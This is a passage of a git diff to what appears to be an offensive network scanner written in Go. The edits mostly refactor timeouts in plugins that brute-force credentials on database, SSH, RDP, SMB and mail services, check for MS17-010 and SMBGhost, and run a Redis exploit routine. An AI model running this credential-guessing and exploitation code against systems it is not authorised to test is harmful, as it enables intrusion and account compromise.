timeout time.Duration) (net.Conn, return dialer.DialContext(ctx, "tcp", addr) } -// base64EncodeStr Base64 编码(标准编码) -func base64EncodeStr(s string) string { - return base64.StdEncoding.EncodeToString([]byte(s)) -} - // randomString 生成加密安全的随机字符串 func randomString(n int) string { const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" @@ -641,7 +637,7 @@ func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo } func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, packet []byte, session *common.ScanSession) (string, error) { - conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", address, session.Config.ModuleTimeout()) if err != nil { return "", fmt.Errorf(i18n.Tr("service_connection_failed", "%w"), err) } @@ -653,7 +649,7 @@ func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, pack default: } - if deadlineErr := conn.SetDeadline(time.Now().Add(session.Config.Timeout)); deadlineErr != nil { + if deadlineErr := conn.SetDeadline(time.Now().Add(session.Config.ModuleTimeout())); deadlineErr != nil { return "", deadlineErr } diff --git a/plugins/services/mqtt.go b/plugins/services/mqtt.go index ec9f649..8ca8163 100644 --- a/plugins/services/mqtt.go +++ b/plugins/services/mqtt.go @@ -32,7 +32,7 @@ func NewMQTTPlugin() *MQTTPlugin { } func (p *MQTTPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() if timeout <= 0 { timeout = 3 * time.Second } diff --git a/plugins/services/ms17010.go b/plugins/services/ms17010.go index 3defc30..f6ed73a 100644 --- a/plugins/services/ms17010.go +++ b/plugins/services/ms17010.go @@ -291,13 +291,13 @@ func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string } func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address string, session *common.ScanSession) (bool, string, bool, error) { - conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", address, session.Config.ModuleTimeout()) if err != nil { return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_connection_error"), err) } defer func() { _ = conn.Close() }() - if err = conn.SetDeadline(time.Now().Add(session.Config.Timeout)); err != nil { + if err = conn.SetDeadline(time.Now().Add(session.Config.ModuleTimeout())); err != nil { return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_set_timeout_error"), err) } diff --git a/plugins/services/mssql.go b/plugins/services/mssql.go index daeea6e..b26ecca 100644 --- a/plugins/services/mssql.go +++ b/plugins/services/mssql.go @@ -63,10 +63,10 @@ func (p *MSSQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi // doMSSQLAuth 执行MSSQL认证 func (p *MSSQLPlugin) doMSSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - authCtx, cancel := context.WithTimeout(ctx, config.Timeout) + authCtx, cancel := context.WithTimeout(ctx, config.ModuleTimeout()) defer cancel() - _, err := mssqlRawLogin(authCtx, info.Host, info.Port, cred.Username, cred.Password, config.Timeout) + _, err := mssqlRawLogin(authCtx, info.Host, info.Port, cred.Username, cred.Password, config.ModuleTimeout()) if err != nil { state.IncrementTCPFailedPacketCount() return &AuthResult{ @@ -129,10 +129,10 @@ func (p *MSSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo state := session.State target := info.Target() - identifyCtx, cancel := context.WithTimeout(ctx, config.Timeout) + identifyCtx, cancel := context.WithTimeout(ctx, config.ModuleTimeout()) defer cancel() - result, err := mssqlRawLogin(identifyCtx, info.Host, info.Port, "invalid", "invalid", config.Timeout) + result, err := mssqlRawLogin(identifyCtx, info.Host, info.Port, "invalid", "invalid", config.ModuleTimeout()) if err != nil { state.IncrementTCPFailedPacketCount() diff --git a/plugins/services/mysql.go b/plugins/services/mysql.go index 6b97adb..030324f 100644 --- a/plugins/services/mysql.go +++ b/plugins/services/mysql.go @@ -79,7 +79,7 @@ func (p *MySQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi // doMySQLAuth 执行MySQL认证 func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - connStr, err := mySQLConnString(cred.Username, cred.Password, info, config.Timeout) + connStr, err := mySQLConnString(cred.Username, cred.Password, info, config.ModuleTimeout()) if err != nil { return &AuthResult{ Success: false, @@ -98,7 +98,7 @@ func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cr } } - db.SetConnMaxLifetime(config.Timeout) + db.SetConnMaxLifetime(config.ModuleTimeout()) db.SetMaxOpenConns(1) db.SetMaxIdleConns(0) @@ -194,7 +194,7 @@ func (p *MySQLPlugin) identifyService(ctx context.Context, info *common.HostInfo } func (p *MySQLPlugin) readMySQLBanner(conn net.Conn, config *common.Config) string { - _ = conn.SetReadDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetReadDeadline(time.Now().Add(config.ModuleTimeout())) header := make([]byte, 5) if _, err := io.ReadFull(conn, header); err != nil { diff --git a/plugins/services/neo4j.go b/plugins/services/neo4j.go index 38c5748..b4c5fb5 100644 --- a/plugins/services/neo4j.go +++ b/plugins/services/neo4j.go @@ -72,7 +72,7 @@ func (p *Neo4jPlugin) doNeo4jAuth(ctx context.Context, info *common.HostInfo, cr config := session.Config baseURL := "http://" + info.Target() - client := &http.Client{Timeout: config.Timeout} + client := &http.Client{Timeout: config.ModuleTimeout()} req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/user/neo4j", nil) if err != nil { @@ -148,7 +148,7 @@ func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H config := session.Config baseURL := "http://" + info.Target() - client := &http.Client{Timeout: config.Timeout} + client := &http.Client{Timeout: config.ModuleTimeout()} req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/db/data/", nil) if err != nil { @@ -193,7 +193,7 @@ func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo target := info.Target() baseURL := "http://" + info.Target() - client := &http.Client{Timeout: config.Timeout} + client := &http.Client{Timeout: config.ModuleTimeout()} req, err := http.NewRequestWithContext(ctx, "GET", baseURL, nil) if err != nil { diff --git a/plugins/services/netbios.go b/plugins/services/netbios.go index 886a29b..44bfcac 100644 --- a/plugins/services/netbios.go +++ b/plugins/services/netbios.go @@ -164,14 +164,14 @@ func (p *NetBIOSPlugin) queryNetBIOSNames(host string, config *common.Config, st target := fmt.Sprintf("%s:137", host) - conn, err := net.DialTimeout("udp", target, config.Timeout) + conn, err := net.DialTimeout("udp", target, config.ModuleTimeout()) if err != nil { return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_name_connect_failed"), err) } state.IncrementUDPPacketCount() defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(config.ModuleTimeout())) _, err = conn.Write(queryPacket) if err != nil { @@ -191,13 +191,13 @@ func (p *NetBIOSPlugin) queryNetBIOSNames(host string, config *common.Config, st func (p *NetBIOSPlugin) queryNetBIOSSession(ctx context.Context, host string, session *common.ScanSession) (*NetBIOSInfo, error) { target := fmt.Sprintf("%s:139", host) - conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.ModuleTimeout()) if err != nil { return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_session_connect_failed"), err) } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.ModuleTimeout())) // 发送SMB协商数据包 smbNegotiate1 := []byte{ diff --git a/plugins/services/nfs.go b/plugins/services/nfs.go index 47fd901..cfeccd5 100644 --- a/plugins/services/nfs.go +++ b/plugins/services/nfs.go @@ -22,7 +22,7 @@ func NewNFSPlugin() *NFSPlugin { } func (p *NFSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() if timeout <= 0 { timeout = 3 * time.Second } diff --git a/plugins/services/oracle.go b/plugins/services/oracle.go index c8103d8..887bf82 100644 --- a/plugins/services/oracle.go +++ b/plugins/services/oracle.go @@ -72,8 +72,8 @@ func (p *OraclePlugin) doOracleAuth(ctx context.Context, info *common.HostInfo, serviceNames := []string{"ORCL", "XE", "XEPDB1", target} for _, serviceName := range serviceNames { - connectCtx, cancel := context.WithTimeout(ctx, config.Timeout) - err := oracleRawAuth(connectCtx, info.Host, info.Port, serviceName, cred.Username, cred.Password, config.Timeout) + connectCtx, cancel := context.WithTimeout(ctx, config.ModuleTimeout()) + err := oracleRawAuth(connectCtx, info.Host, info.Port, serviceName, cred.Username, cred.Password, config.ModuleTimeout()) if err != nil { cancel() errorType := classifyOracleErrorType(err) @@ -168,7 +168,7 @@ func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common. func (p *OraclePlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.ModuleTimeout()) if err != nil { return &ScanResult{ Success: false, diff --git a/plugins/services/pop3.go b/plugins/services/pop3.go index 02c251d..a83d8a5 100644 --- a/plugins/services/pop3.go +++ b/plugins/services/pop3.go @@ -23,7 +23,7 @@ func NewPOP3Plugin() *POP3Plugin { func (p *POP3Plugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { config := session.Config - timeout := config.Timeout + timeout := config.ModuleTimeout() if timeout <= 0 { timeout = 3 * time.Second } diff --git a/plugins/services/postgresql.go b/plugins/services/postgresql.go index 467a47e..f0761ff 100644 --- a/plugins/services/postgresql.go +++ b/plugins/services/postgresql.go @@ -73,7 +73,7 @@ func (p *PostgreSQLPlugin) createAuthFunc(info *common.HostInfo, config *common. // doPostgreSQLAuth 执行PostgreSQL认证 func (p *PostgreSQLPlugin) doPostgreSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - connStr := postgreSQLConnString(cred.Username, cred.Password, info, int64(config.Timeout.Seconds())) + connStr := postgreSQLConnString(cred.Username, cred.Password, info, int64(config.ModuleTimeout().Seconds())) db, err := sql.Open("postgres", connStr) if err != nil { @@ -85,11 +85,11 @@ func (p *PostgreSQLPlugin) doPostgreSQLAuth(ctx context.Context, info *common.Ho } } - db.SetConnMaxLifetime(config.Timeout) + db.SetConnMaxLifetime(config.ModuleTimeout()) db.SetMaxOpenConns(1) db.SetMaxIdleConns(0) - pingCtx, cancel := context.WithTimeout(ctx, config.Timeout) + pingCtx, cancel := context.WithTimeout(ctx, config.ModuleTimeout()) defer cancel() err = db.PingContext(pingCtx) @@ -169,7 +169,7 @@ func postgreSQLConnString(username, password string, info *common.HostInfo, time // testUnauthorizedAccess 测试PostgreSQL未授权访问 func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { - connStr := postgreSQLConnString("postgres", "", info, int64(config.Timeout.Seconds())) + connStr := postgreSQLConnString("postgres", "", info, int64(config.ModuleTimeout().Seconds())) db, err := sql.Open("postgres", connStr) if err != nil { @@ -177,11 +177,11 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com } defer func() { _ = db.Close() }() - db.SetConnMaxLifetime(config.Timeout) + db.SetConnMaxLifetime(config.ModuleTimeout()) db.SetMaxOpenConns(1) db.SetMaxIdleConns(0) - pingCtx, cancel := context.WithTimeout(ctx, config.Timeout) + pingCtx, cancel := context.WithTimeout(ctx, config.ModuleTimeout()) defer cancel() err = db.PingContext(pingCtx) @@ -192,7 +192,7 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com state.IncrementTCPSuccessPacketCount() - queryCtx, queryCancel := context.WithTimeout(ctx, config.Timeout) + queryCtx, queryCancel := context.WithTimeout(ctx, config.ModuleTimeout()) defer queryCancel() var version string @@ -222,7 +222,7 @@ func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.Hos state := session.State target := info.Target() - connStr := postgreSQLConnString("invalid", "invalid", info, int64(config.Timeout.Seconds())) + connStr := postgreSQLConnString("invalid", "invalid", info, int64(config.ModuleTimeout().Seconds())) db, err := sql.Open("postgres", connStr) if err != nil { @@ -234,7 +234,7 @@ func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.Hos } defer func() { _ = db.Close() }() - pingCtx, cancel := context.WithTimeout(ctx, config.Timeout) + pingCtx, cancel := context.WithTimeout(ctx, config.ModuleTimeout()) defer cancel() err = db.PingContext(pingCtx) diff --git a/plugins/services/rabbitmq.go b/plugins/services/rabbitmq.go index a413698..216a301 100644 --- a/plugins/services/rabbitmq.go +++ b/plugins/services/rabbitmq.go @@ -84,7 +84,7 @@ func (p *RabbitMQPlugin) doRabbitMQAuth(ctx context.Context, info *common.HostIn } baseURL := "http://" + net.JoinHostPort(info.Host, strconv.Itoa(port)) - client := &http.Client{Timeout: config.Timeout} + client := &http.Client{Timeout: config.ModuleTimeout()} req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/api/overview", nil) if err != nil { @@ -165,7 +165,7 @@ func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *commo } baseURL := "http://" + net.JoinHostPort(info.Host, strconv.Itoa(port)) - client := &http.Client{Timeout: config.Timeout} + client := &http.Client{Timeout: config.ModuleTimeout()} // 测试无认证访问 req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/api/overview", nil) @@ -213,13 +213,13 @@ func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *commo func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.ModuleTimeout()) if err != nil { return nil } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.ModuleTimeout())) // 发送AMQP协议头 amqpHeader := []byte{0x41, 0x4d, 0x51, 0x50, 0x00, 0x00, 0x09, 0x01} @@ -280,7 +280,7 @@ func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *comm target := info.Target() baseURL := "http://" + info.Target() - client := &http.Client{Timeout: config.Timeout} + client := &http.Client{Timeout: config.ModuleTimeout()} req, err := http.NewRequestWithContext(ctx, "GET", baseURL, nil) if err != nil { diff --git a/plugins/services/rdp.go b/plugins/services/rdp.go index 79065a6..73281e4 100644 --- a/plugins/services/rdp.go +++ b/plugins/services/rdp.go @@ -159,7 +159,7 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co // rdpCrack 使用NLA认证验证凭据,不建立完整会话,不会挤掉已登录用户 func (p *RDPPlugin) rdpCrack(host, domain, user, password string, config *common.Config, state *common.State) (bool, error) { - timeout := int64(config.Timeout.Seconds()) + timeout := int64(config.ModuleTimeout().Seconds()) // 使用NLA仅验证模式:只验证凭据,不建立RDP会话 // 这样不会挤掉目标机器上已登录的用户 @@ -180,7 +180,7 @@ func (p *RDPPlugin) rdpCrack(host, domain, user, password string, config *common // probeOSInfo 通过NLA协商获取系统信息(无需密码) func (p *RDPPlugin) probeOSInfo(host string, config *common.Config, state *common.State) map[string]any { - timeout := int64(config.Timeout.Seconds()) + timeout := int64(config.ModuleTimeout().Seconds()) client := login.NewClient(host, glog.NONE) // 使用 PROTOCOL_HYBRID 协议探测系统信息 diff --git a/plugins/services/redis.go b/plugins/services/redis.go index 8cd0035..75fc62a 100644 --- a/plugins/services/redis.go +++ b/plugins/services/redis.go @@ -86,7 +86,7 @@ func (p *RedisPlugin) createAuthFunc(info *common.HostInfo, session *common.Scan // doRedisAuth 执行Redis认证 func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { target := info.Target() - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() // 建立TCP连接 conn, err := session.DialTCP(ctx, "tcp", target, timeout) @@ -223,7 +223,7 @@ func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.HostInfo, password string, session *common.ScanSession) { target := info.Target() - conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.ModuleTimeout()) if err != nil { session.LogError(i18n.Tr("redis_reconnect_failed", err)) return @@ -232,11 +232,11 @@ func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.Host // 如果有密码,先认证 if password != "" { - _ = conn.SetWriteDeadline(time.Now().Add(session.Config.Timeout)) + _ = conn.SetWriteDeadline(time.Now().Add(session.Config.ModuleTimeout())) if _, writeErr := conn.Write(buildRedisAuthCommand(password)); writeErr != nil { return } - _ = conn.SetReadDeadline(time.Now().Add(session.Config.Timeout)) + _ = conn.SetReadDeadline(time.Now().Add(session.Config.ModuleTimeout())) response := make([]byte, 512) if _, readErr := conn.Read(response); readErr != nil { return @@ -249,7 +249,7 @@ func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.Host // identifyService 服务识别 func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { @@ -325,7 +325,7 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n return } - _ = conn.SetDeadline(time.Time{}) + _ = conn.SetDeadline(time.Now().Add(30 * time.Second)) dbfilename, dir, err := p.getConfig(conn) if err != nil { @@ -397,14 +397,24 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n // ============================================================================= func (p *RedisPlugin) readReply(conn net.Conn) (string, error) { - _ = conn.SetReadDeadline(time.Now().Add(time.Second)) + _ = conn.SetReadDeadline(time.Now().Add(3 * time.Second)) bytes, err := io.ReadAll(io.LimitReader(conn, maxRedisReplyBytes)) - if len(bytes) > 0 { + if len(bytes) > 0 && isTimeoutError(err) { err = nil } return string(bytes), err } +func isTimeoutError(err error) bool { + if err == nil { + return false + } + if ne, ok := err.(net.Error); ok && ne.Timeout() { + return true + } + return false +} + // sendCmd 发送Redis命令并检查OK响应 // 返回响应文本、是否成功、错误 func (p *RedisPlugin) sendCmd(conn net.Conn, cmd []byte) (text string, ok bool, err error) { diff --git a/plugins/services/rmi.go b/plugins/services/rmi.go index 42cd897..f621768 100644 --- a/plugins/services/rmi.go +++ b/plugins/services/rmi.go @@ -24,7 +24,7 @@ func NewRMIPlugin() *RMIPlugin { } func (p *RMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() if timeout <= 0 { timeout = 3 * time.Second } diff --git a/plugins/services/rsync.go b/plugins/services/rsync.go index 5acc841..1350752 100644 --- a/plugins/services/rsync.go +++ b/plugins/services/rsync.go @@ -242,7 +242,7 @@ func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H // connectToRsync 连接到Rsync服务 func (p *RsyncPlugin) connectToRsync(ctx context.Context, info *common.HostInfo, session *common.ScanSession) net.Conn { target := info.Target() - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() connChan := make(chan net.Conn, 1) @@ -272,7 +272,7 @@ func (p *RsyncPlugin) connectToRsync(ctx context.Context, info *common.HostInfo, // getModules 获取Rsync模块列表 func (p *RsyncPlugin) getModules(conn net.Conn, config *common.Config) []string { - timeout := config.Timeout + timeout := config.ModuleTimeout() // 读取服务器版本 _ = conn.SetReadDeadline(time.Now().Add(timeout)) @@ -342,7 +342,7 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo } defer func() { _ = conn.Close() }() - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() _ = conn.SetWriteDeadline(time.Now().Add(timeout)) if _, err := conn.Write([]byte("\n")); err != nil { diff --git a/plugins/services/smb.go b/plugins/services/smb.go index 4f60eb1..8bbc86e 100644 --- a/plugins/services/smb.go +++ b/plugins/services/smb.go @@ -39,7 +39,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co } // 1. 协议探测和信息收集 - smbTarget, err := probeTarget(ctx, info.Host, info.Port, config.Timeout, session) + smbTarget, err := probeTarget(ctx, info.Host, info.Port, config.ModuleTimeout(), session) if err != nil { return &ScanResult{ Success: false, @@ -53,7 +53,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co // 2. 漏洞检测 (仅SMBv2+且端口445) if smbTarget.Protocol == SMBProtocol2 && info.Port == 445 { - if checkSMBGhost(ctx, info.Host, config.Timeout, session) { + if checkSMBGhost(ctx, info.Host, config.ModuleTimeout(), session) { smbTarget.Vulnerable = &SMBVuln{CVE20200796: true} session.LogVuln(i18n.Tr("smbghost_vuln", target)) } @@ -120,7 +120,7 @@ func (p *SmbPlugin) getAuthenticator(protocol SMBProtocol) SMBAuthenticator { func (p *SmbPlugin) createAuthFunc(info *common.HostInfo, auth SMBAuthenticator, session *common.ScanSession) AuthFunc { config := session.Config return func(ctx context.Context, cred Credential) *AuthResult { - result, _ := auth.Authenticate(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout, session) + result, _ := auth.Authenticate(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.ModuleTimeout(), session) return result } } @@ -136,7 +136,7 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos } for _, cred := range unauthorizedCreds { - shareInfo, err := auth.ListShares(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.Timeout, session) + shareInfo, err := auth.ListShares(ctx, info.Host, info.Port, cred, config.Credentials.Domain, config.ModuleTimeout(), session) if err == nil && len(shareInfo) > 0 { var output strings.Builder displayUser := cred.Username diff --git a/plugins/services/smtp.go b/plugins/services/smtp.go index ce992ef..dece689 100644 --- a/plugins/services/smtp.go +++ b/plugins/services/smtp.go @@ -78,7 +78,7 @@ func (p *SMTPPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanS // doSMTPAuth 执行SMTP认证 func (p *SMTPPlugin) doSMTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { target := info.Target() - timeout := session.Config.Timeout + timeout := session.Config.ModuleTimeout() resultChan := make(chan *AuthResult, 1) @@ -236,7 +236,7 @@ func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostI resultChan := make(chan *ScanResult, 1) go func() { - conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.ModuleTimeout()) if err != nil { resultChan <- nil return @@ -288,7 +288,7 @@ func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, s resultChan := make(chan *ScanResult, 1) go func() { - conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.ModuleTimeout()) if err != nil { resultChan <- nil return @@ -340,14 +340,14 @@ func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, resultChan := make(chan *ScanResult, 1) go func() { - conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.ModuleTimeout()) if err != nil { resultChan <- nil return } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.ModuleTimeout())) if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil { resultChan <- nil @@ -410,14 +410,14 @@ func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, resultChan := make(chan *ScanResult, 1) go func() { - conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.ModuleTimeout()) if err != nil { resultChan <- nil return } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.ModuleTimeout())) if _, heloWriteErr := fmt.Fprintf(conn, "HELO fscan.test\r\n"); heloWriteErr != nil { resultChan <- nil @@ -480,14 +480,14 @@ func (p *SMTPPlugin) getServerInfo(ctx context.Context, info *common.HostInfo, s resultChan := make(chan string, 1) go func() { - conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.ModuleTimeout()) if err != nil { resultChan <- "" return } defer func() { _ = conn.Close() }() - _ = conn.SetReadDeadline(time.Now().Add(session.Config.Timeout)) + _ = conn.SetReadDeadline(time.Now().Add(session.Config.ModuleTimeout())) buffer := make([]byte, 1024) n, err := conn.Read(buffer) if err != nil { @@ -524,7 +524,7 @@ func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, if serverInfo != "" { banner = i18n.Tr("smtp_mail_service_info", serverInfo) } else { - conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.ModuleTimeout()) if err != nil { return &ScanResult{ Success: false, diff --git a/plugins/services/snmp.go b/plugins/services/snmp.go index 55daeab..02a64a9 100644 --- a/plugins/services/snmp.go +++ b/plugins/services/snmp.go @@ -23,10 +23,7 @@ func NewSNMPPlugin() *SNMPPlugin { func (p *SNMPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { config := session.Config - timeout := config.Timeout - if timeout <= 0 { - timeout = 3 * time.Second - } + timeout := config.ModuleTimeout() target := info.Target() @@ -35,6 +32,8 @@ func (p *SNMPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c return &ScanResult{Success: false, Service: "snmp"} } + session.LogVuln(fmt.Sprintf("SNMP %s %s", target, result.Banner)) + if config.DisableBrute { return result } diff --git a/plugins/services/ssh.go b/plugins/services/ssh.go index 43468ec..ed22cf1 100644 --- a/plugins/services/ssh.go +++ b/plugins/services/ssh.go @@ -64,8 +64,12 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co } // 使用公共框架进行并发凭据测试 + // SSH 并发限制为 3:OpenSSH MaxStartups 默认 10:30:60,高并发会被随机丢弃 authFn := p.createAuthFunc(info, session) testConfig := DefaultConcurrentTestConfigWithTarget(config, info) + if testConfig.Concurrency > 3 { + testConfig.Concurrency = 3 + } result := TestCredentialsConcurrently(ctx, credentials, authFn, "ssh", testConfig) @@ -90,9 +94,10 @@ func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred C target := info.Target() // 创建SSH配置 + moduleTimeout := config.ModuleTimeout() sshConfig := &ssh.ClientConfig{ User: cred.Username, - Timeout: config.Timeout, + Timeout: moduleTimeout, //nolint:gosec // G106: 扫描工具需要忽略主机密钥验证以连接未知主机 HostKeyCallback: ssh.InsecureIgnoreHostKey(), } @@ -133,6 +138,9 @@ func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred C } }() + // 设置 TCP 级别 deadline 兜底整个握手过程 + _ = conn.SetDeadline(time.Now().Add(moduleTimeout)) + // 在TCP连接上创建SSH客户端 sshConn, chans, reqs, err := ssh.NewClientConn(conn, target, sshConfig) if err != nil { @@ -151,6 +159,9 @@ func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred C } } + // 握手成功,清除 deadline + _ = conn.SetDeadline(time.Time{}) + // 创建SSH客户端 client := ssh.NewClient(sshConn, chans, reqs) @@ -183,16 +194,39 @@ func classifySSHErrorType(err error) ErrorType { "no supported methods remain", ) - // SSH 特有的网络/临时错误(需要重试) - sshNetworkErrors := append(CommonNetworkErrors, - "handshake failed", // 握手失败,可能是服务端限流 - "ssh: disconnect", // SSH 主动断开 - "connection closed", // 连接被关闭 - "max startups", // SSH MaxStartups 限制 - "too many authentication", // 认证次数过多 - ) + // SSH 限流错误 — 服务端主动拒绝(MaxStartups 等),退避后重试即可 + sshThrottleErrors := []string{ + "handshake failed", + "ssh: disconnect", + "connection closed", + "max startups", + "too many authentication", + } - return ClassifyError(err, sshAuthErrors, sshNetworkErrors) + return classifySSHError(err, sshAuthErrors, sshThrottleErrors) +} + +func classifySSHError(err error, authKeywords, throttleKeywords []string) ErrorType { + if err == nil { + return ErrorTypeUnknown + } + errStr := err.Error() + for _, kw := range authKeywords { + if containsIgnoreCase(errStr, kw) { + return ErrorTypeAuth + } + } + for _, kw := range throttleKeywords { + if containsIgnoreCase(errStr, kw) { + return ErrorTypeThrottle + } + } + for _, kw := range CommonNetworkErrors { + if containsIgnoreCase(errStr, kw) { + return ErrorTypeNetwork + } + } + return ErrorTypeUnknown } // scanWithKey 使用SSH私钥扫描 @@ -272,7 +306,7 @@ func (p *SSHPlugin) identifyService(ctx context.Context, info *common.HostInfo, // readSSHBanner 读取SSH服务器Banner func (p *SSHPlugin) readSSHBanner(conn net.Conn, config *common.Config) string { - _ = conn.SetReadDeadline(time.Now().Add(config.Timeout)) + _ = 